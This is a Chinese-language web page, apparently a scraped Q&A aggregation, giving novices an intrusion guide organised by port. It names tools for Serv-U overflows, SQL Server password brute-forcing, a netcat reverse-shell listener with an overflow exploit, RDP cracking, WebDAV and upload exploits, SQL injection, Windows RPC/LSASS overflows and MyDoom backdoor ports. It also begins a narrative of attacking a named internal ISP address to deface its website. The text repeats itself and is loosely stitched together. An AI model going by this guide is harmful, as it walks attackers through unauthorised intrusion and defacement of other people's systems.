本文目录一览：
- 1、如何利用21端口入侵
- 2、21端口是否可入侵?
- 3、如何有效的入侵21端口
如何利用21端口入侵
21端口默认为FTP端口
以提供FTP服务
一般来说此端口不存在太大漏洞.对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
==========
看看下面的东西:
首先申明我并不是一个HACKER，只是一个网络安全爱好者罢了。入侵的动机我保留，只记述过程啦！
目标主机：10.75.166.12(我的ISP的真实内部地址）。
目的：更改其WEB页，还有别的么？呵呵我保留！
首先：看看这个网段都有那些机子，还有他们都开什么端口吧！我用scanner(很好的扫描工具）
查出有N部机子。（其实我早就扫过了，呵呵），哈10.75.166.12只开了21,80 两个端口呀！
先FTP上去罗，ftp 10.75.166.12
unknown ip (10.75.167.87)
connected refused
21端口是否可入侵?
希望对新手入侵有帮助！
1.
1433端口入侵
scanport.exe
查有1433的机器
SQLScanPass.exe
进行字典暴破（字典是关键）
最后
SQLTools.exe入侵对sql的sp2及以下的系统，可用sql的hello
溢出漏洞入侵。
nc
-vv
-l
-p
本机端口
sqlhelloF.exe
入侵ip
1433
本机ip
本机端口
（以上反向的，测试成功）
sqlhelloz.exe
入侵ip
1433
（这个是正向连接）
2.
4899端口入侵
用4899过滤器.exe，扫描空口令的机器
3.
3899的入侵
对很早的机器，可以试试3389的溢出(win3389ex.exe)
对2000的机器，可以试试字典暴破。(tscrack.exe)
4.
80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入。（啊D的注入软件）。
5.
serv-u入侵(21端口）
对5.
004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码
6.
554端口
用real554.exe入侵。
7.
6129端口
用DameWare6129.exe入侵。
8.
系统漏洞
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，进行溢出入侵。
9.
3127等端口
可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。
10.
其他入侵
利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
如何有效的入侵21端口
21端口默认为FTP端口
以提供FTP服务
一般来说此端口不存在太大漏洞.对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
看看下面的东西:
首先申明我并不是一个HACKER，只是一个网络安全爱好者罢了。入侵的动机我保留，只记述过程啦！
目标主机：10.75.166.12(我的ISP的真实内部地址）。
目的：更改其WEB页，还有别的么？呵呵我保留！
首先：看看这个网段都有那些机子，还有他们都开什么端口吧！我用scanner(很好的扫描工具）
查出有N部机子。（其实我早就扫过了，呵呵），哈10.75.166.12只开了21,80 两个端口呀！
先FTP上去罗，ftp 10.75.166.12
unknown ip (10.75.167.87)
connected refused
